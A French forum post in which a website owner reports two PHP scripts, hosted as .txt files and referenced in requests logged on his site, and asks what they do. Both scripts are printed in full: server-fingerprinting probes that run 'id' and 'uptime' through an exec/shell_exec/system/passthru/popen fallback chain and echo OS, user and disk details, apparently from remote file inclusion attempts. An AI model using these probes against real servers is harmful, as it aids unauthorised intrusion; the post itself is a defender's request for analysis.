[Système] Que fait ce script.
Bonsoir,
En regargant discretement mes logs de mon site, j'ai trouvé une adresse qui contenait un fichier .txt en fait un script php. Que fait ce script? qans une adresse:
Code:
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|
<?
$dir = @getcwd();
echo "Mic22<br>";
$OS = @PHP_UNAME();
echo "OSTYPE:$OS<br>";
$free = disk_free_space($dir);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."<br>";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}}
exit; |
En fait j'avais dèja reperèrer une adresse .ru qui contenait aussi un fichier txt et qui recherchait un mot de passe et essayait de construire un fichier r. Bidon ou non?
Voici le fichier r.txt en question
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| <?php
function ConvertBytes($number)
{
$len = strlen($number);
if($len < 4)
{
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6)
{
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9)
{
return sprintf("%0.2f Mb", $number/1024/1024);
}
return sprintf("%0.2f Gb", $number/1024/1024/1024);
}
echo "kangkung<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "kangkung was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit; |
